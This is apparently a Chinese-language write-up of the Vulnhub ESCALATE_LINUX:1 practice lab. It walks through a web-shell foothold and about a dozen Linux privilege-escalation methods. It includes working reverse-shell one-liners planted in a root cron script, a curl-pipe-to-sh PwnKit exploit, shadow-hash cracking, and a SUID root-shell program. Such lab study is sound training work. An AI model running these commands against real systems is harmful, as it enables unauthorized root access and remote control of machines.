Vulnhub ESCALATE_LINUX: 1

該靶機提供以下提權漏洞可供練習

  1. 12+ ways of Privilege Escalation
  2. Vertical Privilege Escalation
  3. Horizontal Privilege Escalation
  4. Multi-level Privilege Escalation

拿下shell取得立足點

  1. Netdiscover掃描網段發現目標主機192.168.0.111
  2. nmap 目標主機發現有web服務和NFS
  3. 在web目錄掃描發現shell.php
  4. 訪問 http://192.168.0.111/shell.php 返回 /* pass cmd as get parameter */
  5. 測試 http://192.168.0.111/shell.php?cmd=whoami 返回user6
  6. 對cmd參數注入反向shell指令
  7. 用shell進來後檢查是user6的權限

搜集主機內情報

將LinEnum.sh與PEASS-ng放到目標主機並執行以搜集主機相關信息

以user6身份執行這兩個工具發現以下情報

  • 共有8位使用者,分別是user1~user8,其中user4和user7在root群組
  • 發現/etc/passwd 可讓root群組內成員寫入
  • 使用者目錄下有suid file 分別是 /home/user5/script和/home/user3/shell
  • crontab中有root權限執行使用者的腳本 /home/user4/Desktop/autoscript.sh
  • nfs的配置不安全,因為使用/home/user5 *(rw,no_root_squash)
  • mysql的root密碼為root
  • polkit版本發現漏洞CVE-2021-4034
  • sudo版本 1.8.21p2有漏洞 CVE-2021-3156

爆力密碼破解提權

把/etc/shadow要破解的內容複制到攻擊機存成passwd.hash,如下

root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7:::
user1:$6$9iyn/lCu$UxlOZYhhFSAwJ8DPjlrjrl2Wv.Pz9DahMTfwpwlUC5ybyBGpuHToNIIjTqMLGSh0R2Ch4Ij5gkmP0eEH2RJhZ0:18050:0:99999:7:::
user2:$6$7gVE7KgT$ud1VN8OwYCbFveieo4CJQIoMcEgcfKqa24ivRs/MNAmmPeudsz/p3QeCMHj8ULlvSufZmp3TodaWlIFSZCKG5.:18050:0:99999:7:::
user3:$6$PaKeECW4$5yMn9UU4YByCj0LP4QWaGt/S1aG0Zs73EOJXh.Rl0ebjpmsBmuGUwTgBamqCCx7qZ0sWJOuzIqn.GM69aaWJO0:18051:0:99999:7:::
user4:$6$0pxj6KPl$NA5S/2yN3TTJbPypEnsqYe1PrgbfccHntMggLdU2eM5/23dnosIpmD8sRJwI1PyDFgQXH52kYk.bzc6sAVSWm.:18051:0:99999:7:::
user5:$6$wndyaxl9$cOEaymjMiRiljzzaSaFVXD7LFx2OwOxeonEdCW.GszLm77k0d5GpQZzJpcwvufmRndcYatr5ZQESdqbIsOb9n/:18051:0:99999:7:::
user6:$6$Y9wYnrUW$ihpBL4g3GswEay/AqgrKzv1n8uKhWiBNlhdKm6DdX7WtDZcUbh/5w/tQELa3LtiyTFwsLsWXubsSCfzRcao1u/:18051:0:99999:7:::
mysql:$6$O2ymBAYF$NZDtY392guzYrveKnoISea6oQpv87OpEjEef5KkEUqvtOAjZ2i1UPbkrfmrHG/IonKdnYEec0S0ZBcQFZ.sno/:18053:0:99999:7:::
user7:$6$5RBuOGFi$eJrQ4/xf2z/3pG43UkkoE35Jb0BIl7AW/umj1Xa7eykmalVKiRKJ4w3vFEOEOtYinnkIRa.89dXtGQXdH.Rdy0:18052:0:99999:7:::
user8:$6$fdtulQ7i$G9THW4j6kUy4bXlf7C/0XQtntw123LRVRfIkJ6akDLPHIqB5PJLD4AEyz7wXsEhMc2XC4CqiTxATfb20xWaXP.:18052:0:99999:7:::

使用john爆破取得root密碼為12345,其他密碼太長破解較久

# john passwd.hash
Loaded 10 password hashed with 10 different salts ...omit...
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
12345    [root]

suid提權

在user6中列出可以用SUID執行的指令,發現在有非系統內建指令/home/user3/shell

user6$ find / -perm -u=s -type f 2>/dev/null
...omit...
/home/user3/shell
...omit...

直接執行/home/user3/shell可提權

user6$ cd /home/user3
user6$ ./shell
welcome to Linux Lite 4.4

You are running in superuser mode, be very careful,
...omit...

環境變量提權

在user6中列出可以用root執行的指令,發現在有非系統內建指令/home/user5/script

user6$ find / -perm -u=s -type f 2>/dev/null
...omit...
/home/user5/script
...omit...

執行 /home/user5/script 會有ls的效果,因此這個腳本是用root權限執行ls命令

因此只要把/tmp/ls的運作改為執行shell,在把/tmp/ls加入PATH變數的第一個目錄,只要執行ls時就會優先執行/tmp/ls,然後就會執行shell

user6$ echo "/bin/bash" > /tmp/ls
user6$ chmod 777 /tmp/ls
user6$ export PATH=/tmp:$PATH
user6$ echo $PATH 
/tmp:/user/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
user6$ /home/user5/script
welcome to Linux Lite 4.4

You are running in superuser mode, be very careful,
...omit...

NFS提權

在目標主機發現nfs配置不當可導致直接提權,默認遠程root用戶連接NFS會分配nfsnobody的小權限用戶,但如果啟用no_root_squash選項則為遠程用戶授予root權限

user6$ cat /etc/exports
...omit...
/home/user5 *(rw,no_root_squash)
...omit...

在攻擊機,掛載遠程目標主機NFS到本地

attacker:/# mount -t nfs 192.168.0.111:/home/user5/ /mnt -o nolock
attacker:/# cd /mnt
attacker:/mnt#  

建立suid-shell.c內容如下

#include <stdio.h> 
#include <stdlib.h> 
#include <sys/types.h> 
#include <unistd.h> 
int main() { setuid(0); system("/bin/bash"); return 0; }

執行編譯指令gcc suid-shell.c -o suid-shell 並給suid權限chmod +s suid-shell

回到目標主機,執行suid-shell,即可取得root權限的shell

user6$ /home/user5/suid-shell
welcome to Linux Lite 4.4

You are running in superuser mode, be very careful,
...omit...

另一種方法是複制bin/sh到掛載的目錄,但有些人執行失敗

attacker:/mnt# cp /bin/sh rootsh 
attacker:/mnt# chown root:root rootsh 
attacker:/mnt# chmod 4755 rootsh 

mysql取得敏感信息

由於己知mysql密碼為root,因此可以直接登入,並在user_info表中發現mysql的密碼

mysql> use user;
mysql> select * from user_info;
+-----------+-------------+
| usernmame | password    |
+-----------+-------------+
| mysql     | mysql@12345 |
+-----------+-------------+ 

使用數據庫發現的mysql密碼登入目標主機可成功登入

user6$ su mysql
password: mysql@12345
mysql@osboxes:/var/www/html$ whoami
mysql

尋找mysql所屬的文件,發現有個文件很特別.user_informations

mysql@osboxes:/var/www/html$ find / -user mysql
...omit...
----------  1 mysql mysql  126 Jun  6  2019 .user_informations
...omit...
mysql@osboxes:/var/www/html$ chmod +r .user_informations
mysql@osboxes:/var/www/html$ cat .user_informations
# user2:user2@12345
# user3:user3@12345
# user4:user4@12345
#.user5:user5@12345
# user6:user6@12345
# user7:user7@12345
# user8:user8@12345

打開後發現user2到user8的密碼記錄在裡面


crontab提權

在user4目錄內,有root權限可執行autoscript.sh,但user6無法改autoscript.sh,因此要先登入到user4中

user6$ cat /etc/crontab
# */5  *    * * * root    /home/user4/Desktop/autoscript.sh

到user4後,將反向shell插入autoscript.sh,每5分鐘就會執行並觸發反向shell

user4$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc xx.xx.xx.xx 1234 >/tmp/f' > /home/user4/Desktop/autoscript.sh

user4$ echo "mkfifo /tmp/vnfr; nc 192.168.226.3 8833 0</tmp/vnfr | /bin/sh >/tmp/vnfr 2>&1; rm /tmp/vnfr" > home/user4/Desktop/autoscript.sh

接著只要在xx.xx.xx.xx主機監聽1234 port,就可以取得root權限

# nc -vlp 1234
listening on [any] 1234 ...
connect to [xx.xx.xx.xx] from (UNKNOWN) [1.1.1.1] 56789
whoami
root

sudoers提權 1

登入user8中,在user8發現vi有root權限

$ sudo -l
...omit...
(root) NOPASSWD: /usr/bin/vi

打開vi後輸入:!sh即可獲得root的shell

$ sudo vi
:!sh
#
# whoami
root
#

sudoers提權 2

在user2中,發現可用user1執行各種命令,因此可接管user1

user2$ sudo -l
...omit...
User user2 may run the following commands on osboxes:
  (user1) ALL
user2$ sudo -u user1 /bin/bash
welcome to Linux Lite 4.4
user1$

進入user1後發現,可直接用sudo su提權root

user1$ sudo -l
...omit...
User user1 may run the following commands on osboxes:
  (ALL : ALL) ALL
user1$ sudo su
welcome to Linux Lite 4.4

You are running in superuser mode, be very careful.
root#

敏感文件提權

登入user7

在user7中,發現/etc/passwd同組可寫

user7$ ls -l /etc/passwd
# -rw-rw-r-- 1 root root 2648 Jun  5  2019 /etc/passwd

在/etc/group可以看到uer4和user7是root群組

user7$ cat /etc/group
root:x:0:user4,user7
...omit...

雖然user7沒有root權限,但是root群組的,因此可以直接改/etc/passwd

user7$ id
uid=1006(user7) gid=0(root) groups=0(root)
user7$ echo "root7:$(openssl passwd -1 -salt root7 12345):0:0:root:/root:/bin/bash" >> /etc/passwd
user7$ su root7
Password: 12345

welcome to Linux Lite 4.4

You are running in superuser mode, be very careful,
...omit...


漏洞提權pkexec

檢查版本發現有CVE-2021-4034 漏洞,下載漏洞利用工具

# wget xxx/CVE-2021-4034-main.zip > /tmp/CVE-2021-4034-main.zip
unzip CVE-2021-4034-main.zip && cd CVE-2021-4034-main && make && ./cve-2021-4034
whoami
# root

或者也可以參考https://github.com/ly4k/PwnKit的方法

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"


漏洞提權sudo

查詢sudo版本

sudo --version

發現使用不安全的版本 1.8.21.2,可以使用https://github.com/blasty/CVE-2021-3156工具提權,舉例如下

./sudo-hax-me-a-sandwich

refer
https://medium.com/mii-cybersec/privilege-escalation-cve-2021-3156-new-sudo-vulnerability-4f9e84a9f435


參考資料
https://www.cnblogs.com/autopwn/p/13804500.html
https://blog.csdn.net/qq_34801745/article/details/104144580
https://tari.moe/2022/escalate-linux-1.html
https://www.hackingarticles.in/escalate_linux-vulnhub-walkthrough-part-1
Linux提权姿势总结 https://l0n9w4y.cc/posts/29809